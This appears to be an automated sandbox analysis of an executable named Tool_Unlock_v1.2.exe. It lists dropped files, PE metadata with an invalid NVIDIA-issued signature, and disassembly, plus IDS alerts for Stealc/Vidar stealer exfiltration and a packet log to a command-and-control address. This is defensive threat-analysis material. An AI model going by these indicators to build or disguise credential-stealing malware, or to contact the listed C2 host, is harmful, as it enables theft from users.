SHA-256:	23D96927AE0B45E4FF42181B0C6EB88B465C93BD497CDAAF3B6B15A042C704AE
SHA-512:	7120EE9A73F9BAACD797F55A3B9DC1C53436C6A4CB10EF5FDFE9263130CB979681F4E879998D4758AAA7DD42B5C0D80ED7E869583A7EBB32D7DB6232371A2A33
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....v.t.Y..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.%....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.%....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.%....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.%..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.%...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........P}.x.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Dec 29 03:45:16 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.99256183414727
Encrypted:	false
SSDEEP:	48:8zTdhTJpY2HwidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb4y+yT+:83XY6T/TbxWOvTb4y7T
MD5:	2800274B486B21BE9A44DF96162F3F7D
SHA1:	248B61F3968D2EED9CAE36DA4380F7504F13F93A
SHA-256:	8F4B91F09897324B4698630345304EE36C46D62750EE2BBB9A361A66D11CB836
SHA-512:	20FC625A52B548C42D15533E8FCF032FD5B41EE6A331CBBB5C24ECEAC46134029B2173EB41851E05CEE8E4C45B4326A41EED856ABE7128D8F8898DD9204AFDE6
Malicious:	false
Preview:	L..................F.@.. ...$+.,....;..t.Y..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.%....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.%....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.%....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.%..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.%...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........P}.x.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4189609475899685
Encrypted:	false
SSDEEP:	6144:NSvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNd0uhiTw:0vloTMW+EZMM6DFyn03w
MD5:	61B088843792978EA402D4BDACE2623D
SHA1:	E390D9328827204A1578A7F97501B68FED2AEE40
SHA-256:	B796040492A638A041D31EDD0B329368D4843E255DFE093F7E08007A3C2C9DF3
SHA-512:	F2C55CFCE14DFB1478EBEDDD7BC9FD56A26CDEC3A0C161B3C8F357B9FBDA874C0AB93A18A1C08E43863A2B290D9E3173B4AF11D8A896A0377BA8C3FA315EF03A
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.....Y...............................................................................................................................................................................................................................................................................................................................................^..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2701)
Category:	downloaded
Size (bytes):	2706
Entropy (8bit):	5.849006115126681
Encrypted:	false
SSDEEP:	48:D/KlgZ01k7kxNc8rXTIqpI1gUUDbThHuQu3TVrfjtJPg/NWFYGC2m0FrA6uSEqmb:mlifkxJKqjhHR8TjwpLffffffL
MD5:	9371095A4DE33ED82C38260873B499D8
SHA1:	98F1ACDAF0EE13CCBB9842DC994F96A74DF15F1B
SHA-256:	27B219634057F5E5A2EB0F6D38101930DEDF89444FC6DEC0C53CC87CA0C44E5C
SHA-512:	501536799B46CF668A82D9EA1A945E744B7CC376E5B4336607F846735F44831BC04C92543A3247BAD7B06FCE0E80DFAC5B51744945D2673ABE3CE870008790A3
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["amtrak train","young and restless spoilers","world juniors hockey championship","destiny usa mall syracuse","nintendo switch 2 leaks","nasa parker solar probe","park city ski patrollers strike","premier league football"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wMl90YxIgUHJlbWllciBMZWFndWUg4oCUIFNvY2NlciBsZWFndWUy0glkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUVBQUFBQWJDQU1BQUFENy9ubllBQUFBZTFCTVZFWC8vLzg5R1Z0cldINE9BRUN0cExjbkFFMEFBRHYxOVBZakFFckd3TTNCdThndUFGRXlBRlBUejlnU0FFS1FoSjdnM2VRYkFFYkx4dEUyQ0ZhYWo2YWttcS9vNXV1NXNjRlFOV25aMWQ0QUFEaDFaSWQ5Ym83dzd2S3hxYnBaUW5Ca1Qza0FBQzFMTG1WQ0lWK0hlWllBQURSVU8ydzREMWRIS0dLaGNsSWVBQUFDeTBsRVFWUTRqWjJVNlhhak1BeUZaWXl4TWVBRmJKYXlOaUhROTMvQ2tXbENNMjNPbkRuVlA0ejBJZDByRFBDSXdnQjQrRzF

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132722
Entropy (8bit):	5.436603771111823
Encrypted:	false
SSDEEP:	3072:ffkJQ7O4N5dTm+syHEt4W3XdQ4Q6yuSr/nUW2i6o:faQ7HTt/sHdQ4Q6yDfUW8o
MD5:	E45BB5786C99E6ABF620C98B180D9C02
SHA1:	A45F6834A22D20F8EEC9566D80D33ABC025715F5
SHA-256:	ED9CA098D73C625A1702A5B2F02CE2BC1091E28D461640ED30EDDDEB9FE3E2B0
SHA-512:	8A640F61A59FF72FC08D62A57B613915D4EE919F0095C5B1604D95A45CCF21DED74025CAC6551B38CAB6D19DFE8FB01722CBB2CBC882EE7816064073EFF0AF26
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe
File Type:	assembler source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14402
Entropy (8bit):	4.874636730022465
Encrypted:	false
SSDEEP:	384:vlICCmV5fTMzsM3qlICCmV5fTMzsM3ip9guFx2rBhiLfmfU:vGCC+dMOGCC+dMY9guFx2rBo
MD5:	DF0EFD0545733561C6E165770FB3661C
SHA1:	0F3AD477176CF235C6C59EE2EB15D81DCB6178A8
SHA-256:	A434B406E97A2C892FA88C3975D8181EBEA62A8DA919C5221409E425DF50FD17
SHA-512:	3FF527435BC8BCF2640E0B64725CC0DB8A801D912698D4D94C44200529268B80AA7B59A2E2A2EA6C4621E09AA249AAA3583A8D90E4F5D7B68E0E6FFFEB759918
Malicious:	false
Preview:	AcquireSRWLockExclusive..AcquireSRWLockShared..ActivateActCtx..ActivateActCtxWorker..AddAtomA..AddAtomW..AddConsoleAliasA..AddConsoleAliasW..AddDllDirectory..AddIntegrityLabelToBoundaryDescriptor..AddLocalAlternateComputerNameA..AddLocalAlternateComputerNameW..AddRefActCtx..AddRefActCtxWorker..AddResourceAttributeAce..AddSIDToBoundaryDescriptor..AddScopedPolicyIDAce..AddSecureMemoryCacheCallback..AddVectoredContinueHandler..AddVectoredExceptionHandler..AdjustCalendarDate..AllocConsole..AllocateUserPhysicalPages..AllocateUserPhysicalPagesNuma..AppPolicyGetClrCompat..AppPolicyGetCreateFileAccess..AppPolicyGetLifecycleManagement..AppPolicyGetMediaFoundationCodecLoading..AppPolicyGetProcessTerminationMethod..AppPolicyGetShowDeveloperDiagnostic..AppPolicyGetThreadInitializationType..AppPolicyGetWindowingModel..AppXGetOSMaxVersionTested..ApplicationRecoveryFinished..ApplicationRecoveryInProgress..AreFileApisANSI..AssignProcessToJobObject..AttachConsole..BackupRead..BackupSeek..BackupWrite..B

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.700198112704904
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Tool_Unlock_v1.2.exe
File size:	722'472 bytes
MD5:	4dab3d343886c78602c10167d06be7c3
SHA1:	6a53c8a89bbd0bf047e1a57e01b912a2f4ea22b9
SHA256:	c4f30530e012defa01296ad2e05d5306a7cf82290740afbcc9dfdbc97eb67e5a
SHA512:	a90ec62b7f19044729e8a27074c465c0f6d37c923a970f4c01d89e8800b41e1785cab44257e053570e6d986ed425f0a3481e0964a3e25004ffa623bb72fe0a64
SSDEEP:	12288:FYO6Dqzihouxpa+yW7MEji5YgnaqebTlJfzKLJo7qHkHLG4JITEO:yO6DThou2+ysMaVRhKLJo7CkHvQt
TLSH:	D2E4F1123690C0B3D96305738979D7790A3EBC610F6256D7A3684BBECEB07D14B31A6E
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....ng..........................................@..........................@.......@....@.................................\|j..<..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4104a0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x676E98E6 [Fri Dec 27 12:09:10 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	96d90e8808da099bc17e050394f447e7

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	12/01/2023 19:00:00 16/01/2026 18:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
call 00007F96C510BA9Ah
jmp 00007F96C510B8FDh
mov ecx, dword ptr [0043B680h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F96C510BA96h
test esi, ecx
jne 00007F96C510BAB8h
call 00007F96C510BAC1h
mov ecx, eax
cmp ecx, edi
jne 00007F96C510BA99h
mov ecx, BB40E64Fh
jmp 00007F96C510BAA0h
test esi, ecx
jne 00007F96C510BA9Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0043B680h], ecx
not ecx
pop edi
mov dword ptr [0043B6C0h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [00436D00h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00436CB8h]
xor dword ptr [ebp-04h], eax
call dword ptr [00436CB4h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [00436D50h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 0043CF48h
call dword ptr [00436D28h]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007F96C5112873h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x36a7c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb3000	0x3fc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xae000	0x2628	.bss
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3f000	0x2744	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x32608	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ea98	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x36c3c	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2b4ca	0x2b600	ebf84c6b836020b1a66433a898baeab7	False	0.5443702719740634	data	6.596404756541432	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2d000	0xc50c	0xc600	96e76e7ef084461591b1dcd4c2131f05	False	0.40260022095959597	data	4.741850626178578	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3a000	0x3714	0x2800	d87fd4546a2b39263a028b496b33108f	False	0.29814453125	data	5.024681407682101	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x3e000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x3f000	0x2744	0x2800	c7508b57e36483307c47b7dd73fc0c85	False	0.75166015625	data	6.531416896423856	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x42000	0x70800	0x70800	4354fbf797666d760e9158734ef27415	False	1.0003276909722223	data	7.999595074333894	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xb3000	0x3fc	0x400	cbb74471c14557fef0ac025bea2c0384	False	0.447265625	data	3.386073250544192	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xb3058	0x3a4	data	English	United States	0.44849785407725323

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CompareStringW, CreateFileW, CreateThread, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetConsoleWindow, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WaitForSingleObjectEx, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

USER32.dll

ShowWindow

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-29T05:45:03.950154+0100	2859378	ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2	1	192.168.2.5	49710	116.203.14.4	443	TCP
2024-12-29T05:45:08.681734+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1	1	192.168.2.5	49712	116.203.14.4	443	TCP
2024-12-29T05:45:08.681901+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	116.203.14.4	443	192.168.2.5	49712	TCP
2024-12-29T05:45:11.099292+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	116.203.14.4	443	192.168.2.5	49713	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 05:44:51.185627937 CET	49675	443	192.168.2.5	23.1.237.91
Dec 29, 2024 05:44:51.185708046 CET	49674	443	192.168.2.5	23.1.237.91
Dec 29, 2024 05:44:51.289625883 CET	49673	443	192.168.2.5	23.1.237.91
Dec 29, 2024 05:44:56.473978996 CET	49708	443	192.168.2.5	149.154.167.99
Dec 29, 2024 05:44:56.474045038 CET	443	49708	149.154.167.99	192.168.2.5
Dec 29, 2024 05:44:56.474148035 CET	49708	443	192.168.2.5	149.154.167.99
Dec 29, 2024 05:44:56.488600016 CET	49708	443	192.168.2.5	149.154.167.99
Dec 29, 2024 05:44:56.488616943 CET	443	49708	149.154.167.99	192.168.2.5
Dec 29, 2024 05:44:57.905734062 CET	443	49708	149.154.167.99	192.168.2.5
Dec 29, 2024 05:44:57.905823946 CET	49708	443	192.168.2.5	149.154.167.99
Dec 29, 2024 05:44:57.968851089 CET	49708	443	192.168.2.5	149.154.167.99
Dec 29, 2024 05:44:57.968884945 CET	443	49708	149.154.167.99	192.168.2.5
Dec 29, 2024 05:44:57.969188929 CET	443	49708	149.154.167.99	192.168.2.5
Dec 29, 2024 05:44:57.969252110 CET	49708	443	192.168.2.5	149.154.167.99
Dec 29, 2024 05:44:57.971107960 CET	49708	443	192.168.2.5	149.154.167.99
Dec 29, 2024 05:44:58.015337944 CET	443	49708	149.154.167.99	192.168.2.5
Dec 29, 2024 05:44:58.456640005 CET	443	49708	149.154.167.99	192.168.2.5
Dec 29, 2024 05:44:58.456661940 CET	443	49708	149.154.167.99	192.168.2.5
Dec 29, 2024 05:44:58.456707954 CET	443	49708	149.154.167.99	192.168.2.5
Dec 29, 2024 05:44:58.456727028 CET	443	49708	149.154.167.99	192.168.2.5
Dec 29, 2024 05:44:58.456729889 CET	49708	443	192.168.2.5	149.154.167.99
Dec 29, 2024 05:44:58.456782103 CET	49708	443	192.168.2.5	149.154.167.99
Dec 29, 2024 05:44:58.474215031 CET	49708	443	192.168.2.5	149.154.167.99
Dec 29, 2024 05:44:58.474241972 CET	443	49708	149.154.167.99	192.168.2.5
Dec 29, 2024 05:44:59.010972977 CET	49709	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:44:59.011007071 CET	443	49709	116.203.14.4	192.168.2.5
Dec 29, 2024 05:44:59.011076927 CET	49709	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:44:59.011373043 CET	49709	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:44:59.011383057 CET	443	49709	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:00.794940948 CET	49674	443	192.168.2.5	23.1.237.91
Dec 29, 2024 05:45:00.794940948 CET	49675	443	192.168.2.5	23.1.237.91
Dec 29, 2024 05:45:00.904218912 CET	49673	443	192.168.2.5	23.1.237.91
Dec 29, 2024 05:45:00.937026024 CET	443	49709	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:00.937130928 CET	49709	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:00.941485882 CET	49709	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:00.941497087 CET	443	49709	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:00.941721916 CET	443	49709	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:00.941783905 CET	49709	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:00.942132950 CET	49709	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:00.983369112 CET	443	49709	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:01.640661955 CET	443	49709	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:01.640726089 CET	49709	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:01.640754938 CET	443	49709	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:01.640793085 CET	49709	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:01.640805960 CET	443	49709	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:01.640820026 CET	443	49709	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:01.640846968 CET	49709	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:01.640865088 CET	49709	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:01.651331902 CET	49709	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:01.651345015 CET	443	49709	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:01.656215906 CET	49710	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:01.656265974 CET	443	49710	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:01.656339884 CET	49710	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:01.656532049 CET	49710	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:01.656547070 CET	443	49710	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:03.060492039 CET	443	49710	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:03.060553074 CET	49710	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:03.061578035 CET	49710	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:03.061589003 CET	443	49710	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:03.063266039 CET	49710	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:03.063270092 CET	443	49710	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:03.294157982 CET	443	49706	23.1.237.91	192.168.2.5
Dec 29, 2024 05:45:03.294277906 CET	49706	443	192.168.2.5	23.1.237.91
Dec 29, 2024 05:45:03.950191021 CET	443	49710	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:03.950254917 CET	49710	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:03.950258017 CET	443	49710	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:03.950308084 CET	49710	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:03.950500965 CET	49710	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:03.950517893 CET	443	49710	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:03.964838982 CET	49711	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:03.964886904 CET	443	49711	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:03.964966059 CET	49711	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:03.965192080 CET	49711	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:03.965205908 CET	443	49711	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:05.431396008 CET	443	49711	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:05.431509018 CET	49711	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:05.432332039 CET	49711	443	192.168.2.5	116.203.14.4
Dec 29, 2024 05:45:05.432342052 CET	443	49711	116.203.14.4	192.168.2.5
Dec 29, 2024 05:45:05.434330940 CET	49711	443	192.168.2.5	116.203.14.4
